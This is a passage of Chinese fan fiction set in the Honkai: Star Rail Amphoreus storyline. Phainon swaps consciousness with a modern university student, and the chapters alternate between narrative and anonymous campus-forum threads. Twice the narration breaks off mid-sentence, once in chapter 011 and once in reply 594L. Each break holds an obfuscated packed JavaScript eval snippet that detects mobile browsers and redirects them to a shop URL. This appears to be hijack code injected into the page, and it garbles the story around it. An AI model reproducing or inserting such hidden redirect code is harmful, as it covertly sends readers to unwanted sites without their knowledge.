丹恒并未立刻追问白厄做出如此判断的原因,而是被另一个词吸引了注意力,低声问道:“互换?” “没错,互换。第一次我没注意,结束互换时只觉得从一场漆黑沉闷的梦中醒来。第二次我留心感受,已经能感知到‘他’的身体,只是不知为何难以操控,最终也只成功活动了一下手指。”白厄摁下两根手指,道,“进展喜人,对吧?如果还有下一次互换,我有把握掌控‘他’的身体,去‘他’的世界探索一番。” 丹恒道:“方才见到阿格莱雅时,你没有说出这件事。” “因为我也不能完全确定,互换的次数还是太少了。”白厄说。 不久之前,万敌拎着晕倒的白厄一路避开市民来到云石天宫,将“白厄变成了一个相似而不同的人”的异常情况简单地说了说,然而等白厄醒来,几人多次验证,最终确认醒来之人还是他们熟悉的那位救世主。 白厄表示他也对这个问题一知半解,想不出原由,救世主出事又绝非无关紧要,几人商量一番,最终决定安排丹恒跟在白厄身边,一旦发现异常,就立刻将其扭送金织女士。 “之前有人见到‘他’穿睡衣在集市乱跑,而你那天明明衣装整齐。你为何确定你们只是交换了意识,并未交换身体?”丹恒道。 “因为受伤。”白厄将手臂伸出水面,指了指那道浅淡的几乎难以察觉的擦伤,说,“我猜这是‘他’不熟悉路径,甩脱守卫时不小心留下的伤,当然,这么证明并不严谨,所以我们可以再确认一下。” 白厄四处看了看,随手从水面上漂浮的甜品托盘里捡起银质的小刀,将刀锋在手心按了一下,一道细细的金线从无到有,逐渐充盈,边缘洇散开金色的血。 “这样就好了。”白厄将银质小刀与受伤的手搭在浴池边缘,看向丹恒,笑道,“虽然交换并无规律,但应该会在这道伤口愈合之前发生,到时候你只要看一眼‘他’的手上有没有伤,就能确认我们的猜测了。” “……好,我会注意的。”丹恒沉默瞬间,点了点头。 008 树庭大学,宿舍。 白发青年鬼鬼祟祟地推开门,四处张望确认安全,而后反手关门,直到坐在自己的椅子上,才松了一口气。 “怎么了,一副做贼心虚的样子?”灰毛舍友放下手机,好奇地问道。 “因为大家的行动力太强了。”白发青年无奈摊手,“竟然真的有人相信帖子内容,测算了从各个神殿返回树庭大学的路线节点和时间区间,安排人专门盯查,试图把我找出来。幸好我提前发现了问题,不然倒霉的话,真会被抓住尾巴。” “……你们树庭大学果然离谱,看来学生还是不够忙。”灰毛舍友摸着下巴得出结论,而后笑嘻嘻地凑过来,夸赞道,“不过小白的反侦察能力也不差,对吧?” “当然了,我当年的反侦察结业成绩可是‘优’。”白发青年丝毫不觉得自己说的话有什么问题,在衣服里摸索一下,掏出一个可爱的、拿着迷你纺锤的红发娃娃,“你看,搭档,我把这个也带回来了。” “等等,你刚才说什么课?”灰毛舍友扯了一下嘴角,“这好像不是正常学生该上的课程吧?‘他们 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灰毛舍友表情一僵,目光开始四处乱飘,语速飞快道:“对啊对啊你也知道翁星时速和寰宇不同虽然你们的再创世已经过去了很久但毁灭星神不是还活着吗……我是说,你遇到什么麻烦,千万不要自己扛,欢迎你来找银河小浣熊帮忙。” 这一番回答可谓是牛头不对马嘴,还飙出了些莫名其妙的词汇,白发青年瞳中似有似无的火光渐渐隐没,脸上的问号明显更多了。 黑发舍友眼看灰毛舍友的语言系统从吃掉标点走向逻辑崩坏,再说下去可能把星穹列车都抖出来,无奈地伸手压住对方的肩膀,将话语打断。 “白厄,你不是有离开翁法罗斯前往寰宇的打算吗?穹的意思是,我们有更多地面对寰宇的经验,如果你未来遇到问题,也许可以问问我们。”丹恒说。 “放心,我不会客气的。”白发青年眨了下眼睛,笑着道,“我很期待未来走向寰宇的那一天。嗯……要是能登上星穹列车就更好了,连接星球,开拓世界,成为一名无名客,听起来就是一场令人期待的冒险。” 灰毛舍友捕捉到关键词,语言系统立刻重启成功,当场摸出手机点开录音,期待道:“你能再说一遍吗?” “再说一遍?” “不是这句,是上一句,你说你想成为无名客。”灰毛舍友的金瞳里冒出许多闪亮的小星星,“我一定要录下来,放给以后的你听。” 白发青年心中隐隐生出不妙的预感,但基于对搭档和丹恒的信任,还是认真地将上一句话重复了一遍,甚至刻意模仿了当时的语气。 灰毛舍友飞快把录音保存、上传、备份三连,而后给了白发青年一个大大的拥抱,感动且浮夸地假哭起来:“这可是你自己说的,小白,之后可不要食言。否则我一定把你这段录音发给所有该发的人,桀桀桀桀……” 黑发舍友扶额摇头,无奈地叹了口气。 009 白厄睁开了眼睛。 他艰难地活动手指,感知四肢,积蓄力气,过了很久才适应这具沉重的躯壳,伸手按着柔软的被子,慢慢坐了起来。 四周一片昏暗,细细的光芒从窗帘缝隙落入,照亮了一方居所:这里摆放了四张上床下桌的床铺,桌案上散落着书籍和些许摆件,令他回想起在树庭求学的时光。 白厄略感新奇地打量一番,爬下床铺,简单翻看了一下“自己”摆在明面上的物品。 “这是……《翁法罗斯历史通解》?出版自树庭大学?”白厄有些诧异地翻了翻课本,略过厚厚的内容,先把目录看了一遍。 再创世、救世主、泰坦……仅仅是目录中所含的信息量,就令白厄的心跳逐渐加速,他闭上眼深吸一口气,却仍然忍不住流露出几分喜悦来。 “真好啊……”他想。 白厄克制住现在就把《翁法罗斯历史通解》通读一遍的冲动,将课本谨慎地放回原位,视线一转,注意到了旁边贴在盒子上的便利贴。 “给你带了饭,醒来记得吃——丹恒。” “丹恒?”白厄看着熟悉的名字,摸了下温热的饭盒,有些迟疑。 对他来说,这场交换并无规律,有时睡着了会交换,有时清醒着也会交换。从目前得到的信息和谜团来看,他不该在任何没有意义的事情上浪费宝贵的时间,可是…… “算了,就当是尝一尝另一个世界的食物吧,总不能让‘他’一直饿着肚子,也辜负了‘他’朋友的好意。”白厄坐下来,把饭盒拽到面前。 掀开盖子,烘烤后的麦香最先满溢出来,几格食盒中分别放置着松软的面包、切片的熏肉和一些蔬菜,食盒旁边还挂着一瓶饮料,标签上写着橄榄汁。 白厄茫然了瞬间,潜意识先于大脑辨认出了某种熟悉的痕迹,仿若故人久别重逢,眼眶竟隐隐有些发酸。 便利贴在这一刻翩然落下,亮出了另一面画了小浣熊落款的字迹:“给你买了哀丽秘榭的面包套餐,你也很久没回家、没吃到这些了吧?记得要谢谢我哦。” 宿舍内一片寂静。 过了许久,才有人低声说:“……谢谢。” 31. 翁星求生指北(四) 010 树庭大学,内部论坛。 【求助!穿越到再创世前、光历4931年的奥赫玛该如何活下去?】 …… 404L 楼主何时上线,我等得有些心焦了。 405L 楼主大抵是被扣在神殿里给泰坦大人刷盘子了吧,悲。 406L 我也想给泰坦大人刷盘子。 407L +1。 408L 别想了,据我观察,泰坦并不刚需日常饮食,神殿里没有盘子。 409L ——回复408L:也不一定,海洋泰坦大人主持的永不落幕之欢宴里一堆盘子。 410L 可惜永不落幕之欢宴基本不对现世人开放,偶尔有一两个幸运儿误入里面,回来都赞不绝口、念念不忘。真好奇逐火年代的蜜酿是什么味道,更别提还能在里面与古老英雄的幻影相遇,甚至可以和他们交流。 411L 那是海洋泰坦大人用回忆捏造的幻境吧?没什么实际意义。 412L 欢宴中的幻影都有自主意识,也许是海洋泰坦大人聚拢了残余的英魂,让他们在彻底消逝之前,得享无忧无虑的欢宴与酣歌呢? 413L 再创世已经将逐火年代的伤痕抚平,楼上说得也太悲伤了,海洋泰坦大人维持着这场幻境,只是在纪念故友吧。 414L 说起来,海洋泰坦大人的欢宴也是无名英雄存在的反例。里面偶尔会出现尚未成神的泰坦大人们,甚至会出现天外的救世主,但唯独没有无名英雄的影子,所以大家都觉得无名英雄不存在于泰坦的记忆中,大概率还是虚构出来的。 415L 无名英雄在故事里不是号称可以压制黑潮的人吗,但再创世前的海妖故乡还是被黑潮吞没了,也许是因为这个,所以海洋泰坦大人和无名英雄不熟? 416L 错觉吗,楼上的话读着怎么有点阴阳怪气。 417L ——回复415L:无论无名英雄是否存在,都不该这么说。你的意思是海洋泰坦大人会对一个未能拯救所有人的救世者心生罅隙?这么揣测,小心神殿协会派人来查杀你。 418L 翁星开放至今,泰坦现在又基本毫无作为,如果提及泰坦却说话都要如此小心翼翼,连言论自由都没有,才有些可笑吧。 419L ? 420L ? 421L ——回复418L:没有泰坦大人,大家早被黑潮消化了。你以为翁星如今与寰宇互通得如此顺利是因为什么,是因为泰坦大人们一直在对外交涉、坐镇翁星啊,他们只是不插手我们内部的文化发展和未来决策了而已。不行,我今天就要挑战树庭大学的防火墙,看看是谁能说出这种话来。 422L ——回复418L:是凯妮斯二世(手动狗头)。 423L ——回复418L:冷静啊哥们,上一个挑战防火墙的人已经道心破灭了。 424L 成也匿名,败也匿名,论坛里总有几个人让我想顺着网线去打人。 425L 淡定,这帖子热度这么高,我琢磨着也该遇到了。论坛里那几个知名的凯妮斯N世你们又不是不知道,大概他们也想靠当反派蹭上历史书吧。 426L @楼主,速来禁言。 427L ——回复426L:这里是匿名论坛,楼主只能删评,不能禁言。 428L 从开始我就在等大家什么时候吵起来,却万万没想到会从这个角度吵起来。 429L ——回复428L:这明显不是吵架,是讨伐。 430L @楼主,说来奇怪,楼主这次失踪得确实有点久了,按理说该睡醒了吧。 431L 楼主 稍等,正在熟悉操作界面。 432L 终于活了……等等,熟悉操作界面?楼主原来是新生? 433L 不应该啊,新生忙着学习、社团、跟导,一般得过阵子才能摸到匿名论坛来吧,新生也没时间把论坛等级刷到可以发帖的等级啊。 432L 楼主 哈哈,确实只有删除评论的权利。不过事实如何,我倒觉得不必为他抹除痕迹,这样挂着也不错,不是吗? 433L 嘶,楼主果然是芝麻馅的啊。 434L 是个欢愉的好苗子,嘻嘻。 435L 正楼。楼主这次又要编什么穿越小故事了,上次不是被逮住了吗,穿越过去后有没有见到浪漫泰坦大人? 436L 浪漫泰坦大人长什么样子?我只在壁画看到过浪漫泰坦大人的形象——轻踩金丝自穹顶落下的金发神女,可惜壁画都没画五官,只能凭形体感知那种美。 437L 楼主 嗯……应该会见到吧。阿格莱雅女士确实很美,眼眸青绿,气质高华,看起来有些冷淡,但其实是很无私、很温柔的人,千年以来她一直守望着奥赫玛的光明,我很敬佩她。 438L 历史上的性格描述好像不是这样的?楼主滤镜是不是有点厚。 439L 除了浪漫大人还见到其他黄金裔了吗?可以描述一下吗,顺便强烈谴责先人画人不画脸的坏习惯,我们都不知道泰坦大人到底长什么样子。 440L 只有我觉得楼主用词有点不对劲吗,为什么是“应该会见到”这种不确定的语气? 441L 这明显是楼主在胡编乱造吧,你们为什么这么认真啊。 442L 好看爱看,多编点。 443L 楼主 我想想,还会见到迈德漠斯,悬峰的王储。他长相不错,肌肉也练得很好,可惜是个要武力有武力、要幽默也有武力的家伙,只在战场上比较可靠,可以放心交托后背。 444L 这,是在夸人吗?怎么一提到纷争泰坦大人连敬称都消失了。 445L 鉴定完毕,楼主和悬峰人犯冲。 446L 重点不是为什么会有战场吗?楼主你要是被抓去打黑潮了就眨眨眼,我们会在精神上默默支持你的。 447L 楼主 ——回复444L:这当然是在夸人啊,我可没说他做饭很难吃这种话。 448L 天谴之矛大人做饭很难吃,我为什么会做这样的梦。 449L 楼主觉得大家编的野史不够全面,所以从细节入手,称纷争泰坦大人做饭很难吃,然后因为太过离谱反而有了几分可信度。 450L ——回复447L:HKS。 451L 我眼花了吗,楼上那条为什么被加粗标记了,论坛出新功能了? 452L 救命,纷争大人是厨房杀手,我好像忘不掉了。 453L 捉,是好像。其实从悬峰人的整体印象来看,纷争大人未必接触过厨艺,做饭难吃也情有可原,不过楼上激动得有些反常,不会是史院的人吧? 454L 每日史院(1/1)。 455L 每日史院(2/1)。 011 咚咚咚。 白厄下意识扣合笔记本电脑的屏幕,有些心虚地左右看了看。敲门声从外面传来,略微迟疑后,他来到门边,伸手拉开了门。 一道薄荷色的人影站在门边,眼神锐利地上下打量了白厄一番,将一个扁平的小包裹递过来,道:“我申请了探索无名英雄衣冠冢的领队老师一职,目前缺个助手,你最近应该没什么事,收拾下行李,明天我们出发,这是现场准入证。” 白厄接过包裹,眼神不自觉带了几分审视。 门外之人的脸庞他很熟悉,毋庸置疑是那刻夏老师。只是对方双眼完好,穿着一身休闲风格的衬衫长裤搭长风衣,和印象中略有差别,气质却如出一辙。 问题在于从帖子中透露的信息来看,理性火种最终被某个和阿格莱雅女士不对付 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048709|194770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 且喜欢大地兽的学者继承了,而学者在再创世后成为理性泰坦,所以他面前的这个人到底是不是那刻夏,又是不是理性泰坦? 如果是的话,“白厄”清楚那刻夏老师的身份吗,那刻夏又是否记得看起来已经失落在历史中的无名英雄,是否记得白厄? 救世主的脑袋在这一刻高速运作起来,大量念头闪过后,他扬起微笑,挑了个绝对稳妥的称呼,道:“好的,老师,需要我做什么准备吗?” “把你自己带上就好,哀丽秘榭不是你的故乡吗?”学者的语气一如既往的清晰冰洌,“今天早点休息,明天不要迟到。” 白厄笑着点点头,念头一转,主动搭话道:“老师也对无名英雄衣冠冢感兴趣?这应该是史院的研究方向吧?” 那刻夏老师的专业并非历史,所以大可以如此询问,何况,就算面前的学者如今是历史学院的老师,白厄也有信心将说辞圆回来。 “并非只有历史学院的老师才能当领队,看他们整天为了些捕风捉影的事情吵来吵去的样子,纵然是大地兽也可以在培训后将他们顶替。”学者停住打算离开的脚步,说。 “可是泰坦大人们应该很清楚翁法罗斯的历史,他们为何从来不纠正我们的记载,指引正确的方向呢?”白厄问道。 学者的目光陡然锋利起来。 “白厄,我的学生,这可不像是你会问出来的愚蠢问题。但既然你问了,我便有为你解答的必要。”学者说,“对于短生种来说,无论多么清晰的历史都会在时光中失落又被捡起,迷失与歪曲不可避免。比起由泰坦每隔一段时间将真相灌进人们的脑子,不如由他们自己开拓铭刻历史的办法,唯有如此,历史才能有抵抗时光磨损的韧性。” 我知道,我也认同,但这并非我故意提起这件事的用意。白厄并未在学者的眼眸中捕捉到预料之中的怀疑,对方似乎不奇怪他为何如此发问,甚至在等待他继续说下去——这让白厄心中有了新的猜测。 白厄轻声问道:“那么,老师,你认为无名英雄应该存在吗?” 天外的救世主继承负世火种,与黄金裔一同完成了再创世。身为逐火之旅的当事人,白厄一眼就看出了其中的违和,进而猜出了无名英雄的原型。 他对自己被遗忘这件事本身其实并不在意,不如说,倘若真的能够抵达现在这片理想乡,只要需要,他可以付出自己的一切。 可其中仍有重重谜团,大小轮回的嵌套到底是因为什么?无名英雄又为何能够以一己之力压制黑潮?白厄从晦涩的记载中嗅到了某种复杂而危险的气息,所以他要尽力探究其源头,并在回到自己的世界时做出努力,让再创世的路途更加顺畅,结果更加完美。 这种程度的话题引导一定会被老师察觉,所以,当我主动露出似是而非的破绽,您是否会继续装作一无所知的样子,将我视为“白厄”,又会如何回答我呢?白厄用蓝色的眼瞳静静地凝视学者。 ——老师,我该怎么做? 在短暂的对峙后,学者忽然伸出手,抬手敲了下白厄的额头。 “诶?”白厄茫然地摸了摸额角,不疼,但很意外。 “收起你那些弯弯绕绕的心思吧,少把这种招数用在我身上,阿格莱雅那女人都教了你什么东西?”那刻夏冷笑着,坦然亮明了自己的身份,“少纠结这些没用的问题。听好了,白厄,存在必然留下痕迹,无名英雄是否存在并不重要,重要的是事实如何。纵然被百般掩盖,但真相总会浮出水面。” 我好像看到了那刻夏老师背后的腾腾杀气,未来的我,你都干了些什么啊?白厄不自觉地缩了缩身体,心想。 他说:“我明白了,那刻夏老师。” “第一,叫我阿那克萨戈拉斯。第二,你没有明白。”那刻夏抱起手臂,道,“也罢,我也不期望能一次与你说明白。在下次见面前,将这个问题的答案告诉我吧——哀丽秘榭的白厄,你的理想是什么?” 白厄挠挠头,认真道:“那刻夏老师,这个问题我现在就可以回答啊,我希望逐火之旅顺利完成,希望再创世真正来临。” “别叫我那刻夏。”那刻夏说,“这是逐火的黄金裔们共同的夙愿,而不是你的理想。好好思考这个问题吧,希望下次见面你能给出像样的回答。” 32. 翁星求生指北(五) 012 树庭大学,内部论坛。 【求助!穿越到再创世前、光历4931年的奥赫玛该如何活下去?】 …… 504L 楼主 ? 505L 楼主 ?? 506L 楼主 !!! 507L 楼主你又回来了啊……等等你这是在干什么? 508L 这个时间点,楼主不是已经睡觉然后穿越了吗,怎么又上线了。 509L 要尊重睡觉会穿越的设定啊喂,楼主就算想刷帖,也不要冒泡让我们看出来嘛。 510L 楼主 不对,我昨天没上过线,睁开眼睛已经是今天凌晨了。 511L ? 512L 这不是灵异论坛吧,我没走错帖子啊。 513L 那白天和我们聊得很欢的那位是谁? 514L 事情变得惊悚起来了。 515L 楼主 等等,难道……原来是这样。 516L 谜语人叉出去。 517L 楼主不能叉出去,再叉回来。 518L 惊!某大学生账号擅自发布这些内容,背后的原因令人惊心。 519L 标题党也叉出去。 520L 所以到底是怎么回事,急。 521L 楼主 正在梳理文字,花了点时间。 522L 这是开编的前奏啊,大家坐好,楼主的野史小课堂要开课了。 523L 已经默认在构史了吗。 524L 楼主 事情有点复杂,简单来说,我昨天……嗯,按这边的时间是前天,穿越过去就发现身边跟着一个熟人,不是逐火年代认识的人,而是树庭大学的熟人。 525L 变群穿题材了?这写不好容易崩吧。 526L 这个人的人设定下来了吗,楼主开放自荐吗。 527L ——回复526L:想多了,重要人物楼主肯定自己写,不如问问是否开放NPC投稿,让我们一起参与进去。 528L 楼主 那位熟人的名字一样,性格相似,穿搭略有差别,可他不记得树庭大学的经历,似乎是逐火年代的当代人。我冒险试探了几句,很快被拆穿,然后就被扭送阿格莱雅大人了。 529L 惨楼主惨。 530L 所以楼主又见到浪漫泰坦大人了啊……我为什么要说又? 531L 这段咱们白天说过了,略。 532L 真被抓住了啊,楼主没事吧? 533L 不是之前就被抓了吗,楼主为什么还有出言试探的余裕,是不是有点衔接不上? 534L 我懂了,因为楼主穿越时随机传送,所以又跑了。 535L 楼主 穿越后会随机传送是我当时的片面理解,在逐火年代时一直被扣着讲历史没时间细想,回来后翻了下发言记录,我忽然理解到底是怎么回事了。 536L 啊?让楼主讲历史,就史院那堆掰扯不清的史料? 537L 我忽然觉得逐火年代没救了,咱们翁星正史不多但野史管够,楼主不会把泰坦大人他们带进沟里去吧。 538L 冒昧问一下,楼主是史院的人吗。 539L 和史院有什么关系,史院的人历史更好? 540L ——回复539L:因为史院的人脑袋里野史更多,笑。 541L 楼主 ——回复538L:不是,我是智种学派的。 542L ——回复541L:我去! 543L ——回复541L:我去! 544L ——回复541L:竟然是智种学派的人,那个以树庭大学最难考、最难过、最难毕业闻名的智种学派? 545L 我选修课都不敢和智种学派沾边,理论太深奥也太抽象了,但最难的果然是那位吧。 546L 是那位吧(那种语气)。 547L 是那刻夏教授吧,都匿名论坛了你们在怕什么啊。 548L 那刻夏教授的威力还是太大了。不光和历史上的理性泰坦大人同名,学术上的成就也很恐怖,虽然本体是个爬山都费劲的脆皮,但还是给了我身高两米八的压迫感。 549L 漏了一点,他还是个大地兽激推。 550L ——回复548L:夸得很好,就是不像夸人。 551L 要不是理性泰坦大人即使插手翁星学术界不可能这么明显地暴露身份,我都怀疑那刻夏教授是理性泰坦大人的化身了。 552L 万一理性泰坦大人是觉得太相似,大家肯定不会信,所以才这么做的呢? 553L 啊哈哈,这话说的,难道这个帖子也是楼主知道大家不会信,才这么肆无忌惮地发出来吗?怎么可能嘛。 554L 打住,所以白天到底是怎么回事,楼主又想明白什么了。 555L 楼主 说来简单,只是发现这并非穿越,而是互换而已。 556L ……而已? 557L 互换?逐火年代还有个楼主? 558L 说起来,楼主之前确实提到过有一位古悬峰人说他们约好了要比试一场,而楼主却丝毫不记得这件事。 559L 那么穿越后会随机瞬移也说得通了,因为楼主离开之后,原主又回去了啊。 560L 这伏笔埋的,楼主发帖时就想好要这么暗示了吧。 561L 不对,楼主第一次说他穿着睡衣到处跑,如果不是穿越是互换,你们不仅长相一致,连睡衣都一模一样吗? 562L 楼主 这件事确实奇怪,我打算下次穿越时换件衣服验证一下。 563L 这和再创世前翁法罗斯的状态有关。互换的只是意识,衣着会有改变,是因为你当时认为自己应该穿着睡衣,所以无意识地更改了这部分数据。 564L ——回复563L:楼主表示设定不错,抄了。 565L 怎么可能嘛,楼主在设定里把武力值拉满了,难道还要把意志力拉满?闭上眼睛试试在脑海中勾勒出一件常用物品你就懂了,细节、阴影、形状……凭意识捏出一件睡衣可没有大家想象中那么简单,再说楼主哪来的权限操控权杖数据? 566L 编设定而已,不用深究。 567L 重点不是这些,重点是白天和我们聊天的那位,他是来自逐火年代的翁星人,还认识浪漫泰坦大人和纷争泰坦大人,听语气甚至很熟! 568L 我早就想这么说了,终于有人替我说了。 569L 再创世前后确实有许多一样的人,但这是3000+年后,普通人早就寿终正寝了,怎么可能接二连三地碰到一模一样的人。 570L 编设定而已,不用深究。 571L ——回复569L:也不一定,传说中的泰坦都没留下具体的面容,万一楼主遇到的熟人其实是再创世前继承火种的黄金裔呢? 572L 穿越之再创世后泰坦上学记……噗,哪有泰坦大人这么闲,化身学生来树庭大学上课,这也太离谱了,换我至少要当老师。 573L 诶!那刻夏教授有话说。 574L 别把那刻夏教授和理性泰坦大人往一起靠了,这对两个人都不尊重。 575L 我不关心设定,我只关心和楼主互换的原主是什么身份。既然和泰坦大人们能搭上话,身份应该不一般,是黄金裔? 576L 男性,黄金裔,再排除纷争泰坦大人,不是只剩下理性泰坦大人和大地泰坦大人了。 577L 大地泰坦大人是无名客,不是本地人,排除掉。理性泰坦祖传脆皮,而楼主武力值拉满,不符合条件,也排除掉。 578L ——回复577L:谁说的,假如在终点放一只大地兽,理性泰坦大人肯定不会输。 579L 日常分不清你们这些人是在夸还是在黑。 580L 黄金裔不只有继承火种的那几位,也许是某个没有继承火种的黄金裔呢?这样的人被时间淹没,失落在历史里,也说得通。 581L 其实楼主没有承认是黄金裔吧?逐火年代的普通人也未必不能和泰坦大人们说上话。 582L 话说楼主是不是又失踪了? 583L 楼主 没有没有,只是刚知道了一件事,去收拾行李了。 584L 震惊!某大学生只是发帖当了楼主就被迫收拾行李离开校园,走近翁法罗斯,让我们一同揭开这背后的原因…… 585L 都说了标题党叉出去。 586L 凌晨时分收拾行李? 587L 楼主应该是学生,还是刚知道了一件需要收拾行李的事情……从设定来看,今天白天的楼主是逐火时代的原主,所以原主替楼主接了个任务? 588L 最近树庭大学没什么大动作,根本分析不出来楼主这么做的用意啊。 589L 大动作确实没有,但要说最近的瓜,我想想,应该是那刻夏教授闯进史院舌战群儒,硬是把探索无名英雄衣冠冢领队老师的位置给拿走了吧。 590L 一群老师打不过那刻夏教授一个人,你们史院。 591L 每日史院(1/1)。 592L 要不是专业不对口,我都想让那刻夏教授来教我们了,那刻夏教授的观点虽然总是出格且悖逆,但仔细想想还挺有道理的。 593L 打住,史院人毕业已经很难了,不要再加难度。 594L 其实我觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048710|194770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 换别的专业老师,估计也会被那刻夏教授单刷。他似乎什么都会,只是平时不表现出来而已。 595L 等一下,无名英雄衣冠冢的探索队是不是今早出发?楼主是其中一员? 596L 嘶,这么巧,不会吧。 597L 探索队是各院联合派遣,但智种学派的人可不多,楼主身份危。 598L 诶!我忽然意识到一件事,再创世前是不是还有一个人符合楼主的设定来着? 599L 有名有姓的都排除了,没有了啊。 600L 不,还真有一个,你们忘了无名英雄吗? 013 昏暗的室内放着一张圆桌,一只惨白的手伸出来,在圆桌中心的蜡烛上点亮一朵冥紫的焰火,微弱而幽微的光芒照亮了一圈模糊的黑影。 其中一个黑影十指交叉放在桌面上,深沉道:“他已经出发了。我们都知道这一天终会到来,掩埋于时光的秘密会浮出水面,而他,也必须踏上属于自己的前路。” 点亮烛火的黑影轻轻叹息,低声道:“不能再拖延一段时间吗?我们希望和他在‘明天’重逢,却也想他继续无忧无虑地生活下去,这十几年常人的生活,恐怕是白厄阁下迄今为止罕有闲暇的时刻了。” 另一道黑影轻轻笑道:“哎呀,人家也不希望打搅一个甜美的梦,可是从‘过去’打捞的记忆正与‘现在’渐渐重合,目前还不会造成什么实质性的影响,但继续放任下去就不好说了。偷来的时间已经所剩无几,别忘了,记忆也可以穿越时间,改变‘过去’啊。” 另一道黑影终于忍不住叹了口气,问道:“我们必须这样说话吗,为什么不开灯?” “……” 十几道黑影你看看我,我看看你,无人说话。 最先开口的黑影挠了挠头,一本正经地道:“这样不是更有氛围吗,你看,把窗帘拉严实后再关灯,显得我们很像幕后黑手啊。” 吧嗒,一道高大的身影打开了灯的开关。 明亮的光芒落下来,照亮了一圈天外来客+泰坦的豪华阵容,坐在首位的灰毛开拓者一脸无辜地眨巴眼睛,配合点亮冥紫火焰的遐蝶慢慢低头,企图将脸藏在桌面下方。 摁动开关的万敌和扶额叹息的丹恒对视了一眼,从对方的表情中看到了相似的无奈。 “哈哈,人家也觉得这样很有趣哦。”粉发的女孩俏皮的wink了一下,而后笑意渐渐变淡,定格在一个微笑的表情上,“美梦都有醒来的一天,只要将拥有过的温暖悄悄藏在心里,就有继续走下去的力气啦,我猜白厄也是这么想的,对吧?” 金发的织者轻敲桌面,抬起眼眸看过众人,温声道:“不必担心,阿那克萨戈拉斯会全程跟在白厄身边,那个学者在正事上还算靠谱。在千年又千年之后的现在,曾被我们保存起来的历史正在浮出水面,翁法罗斯,也该接纳她完整的过去了。” 缇里西庇俄丝垂目握住双手,神色纯净而真诚,轻声说:“嗯!我们一定会‘明天见’。” 014 白发青年忍不住打了个喷嚏。 他茫然地揉了下鼻子,不知为何生出一种奇妙的感觉:有人在背后蛐蛐他,还不是一两个,是很多人在一起蛐蛐他。 这想法毫无根据,如同错觉,他甩甩头将其倒出脑海,然后身上就被披了一件外套。 薄荷色的学者收回手,微微皱眉,道:“穿得太薄了,你该考虑路上的温度,万一感冒了怎么办?” 有一种冷叫老师觉得你冷……白发青年看了看学者单薄的身板,心中摇头,果断将外套递了回去,扬起一个灿烂的笑,道:“我没事的,那刻夏老师。” “第一,叫我阿那克萨戈拉斯。第二,希望你不是又在逞强,如果因为生病影响了之后作为助手的工作,我可不会留情面。”那刻夏接过外套,随手搭在臂弯。 微凉的海风中掺杂着细微的麦香,远处已经能看到哀丽秘榭的渡口,探索队一行人在船上忙忙碌碌地收拾一番,准备落地就去无名英雄衣冠冢一探究竟。 白发青年轻轻踩上土地,四处眺望了一番:遗世的小村庄一片静谧,金黄的麦田一望无际,竟然和他儿时记忆中的模样相差无几。 时光的流逝在哀丽秘榭似乎格外缓慢。 “有想起什么吗?”学者清晰而理智的声音打断了他的出神,“哀丽秘榭,是你的故乡,不是吗?” “啊。”白发青年挠了挠头,有些不好意思地道,“话虽如此,我对故乡的印象其实不太深刻,大概是那时候太小了吧。我年少时就被送到奥赫玛求学,现在想想,竟然……很久……都没回过哀丽秘榭了。” 他的话越说越慢,有些茫然,又有些疑惑。 对啊,漂泊在外这么久,他为什么从来没生出过回家看看的念头? 那刻夏静静地看着白发青年,忽然道:“别愣着了,既然熟悉这里就去给大家指路,我们需要搭建临时营地,做好后勤工作再开始考察,现在就行动起来。” “是,老师。”白发青年本能地站直了身体,而后钻入忙得团团转的探查队,迅速融入其中。 那刻夏伸手遮住一只眼睛,于是眼前的小村庄渐渐与另一个相似而不同的小村庄重叠,在世界的倒影中,虚幻的火焰熊熊燃烧,细碎的灰烬向上升腾,落入黄昏般深红的天空中。 学者在原地站了很久,忍不住啧了一声。 33. 翁星求生指北(六) 015 无名英雄衣冠冢在翁星上吸引了许多目光,树庭大学凭借硬实力从众多势力中冲到前方,拿到了无名英雄衣冠冢的优先探索权。据先遣人员所说,小村庄里的居民已经被保护性撤离到了近处的城镇中,遗留的房屋暂时供给探查队借住。 此时此刻,哀丽秘榭内只有树庭大学的探查队常驻。 白发青年忙完手边的工作后,抽空在小村庄中转了转。也许是离开太久,这里的一切事物虽然与记忆中并无差别,却总给他虚幻疏离的感觉。 当他看着夕阳若有所思时,两个学生一边观察屋檐下的风铃,一边随口闲聊着什么,断续的言语自风中而来,落入归乡游子的耳畔。 “哀丽秘榭?我记得这里的小麦很出名,但科技水平是不是有点太落后了?”一个学生说,“风铃、神像、麦田,我只在泰坦神殿遗迹区见过这样古朴的景色。” “理论来说不应该。哀丽秘榭的面包品牌很有名,单看这里的规模却根本支撑不起那么多原材料的产出,有点奇怪……简直像是误入了很久之前的哀丽秘榭一样。”另一人说。 两人的交谈只是寻常,话语却如重锤般敲击白发青年的脑袋,激荡而沉重的情绪缓慢上涌,他没来由地感到一阵心慌。 隐约的灵感在脑海中闪过,他想要抓紧,却只触摸到一片空白。 一声轻笑在耳边响起,夕阳的辉光中有粉发少女轻轻回眸,说:“还不是时候哦,要等你能承受住这一切才行。我们好不容易把你一块一块拼好,又认真地养了这么久,可不能因为这点意外而功亏一篑。所以不要心急,慢慢来,我会一直在这场梦的终点等你的。” 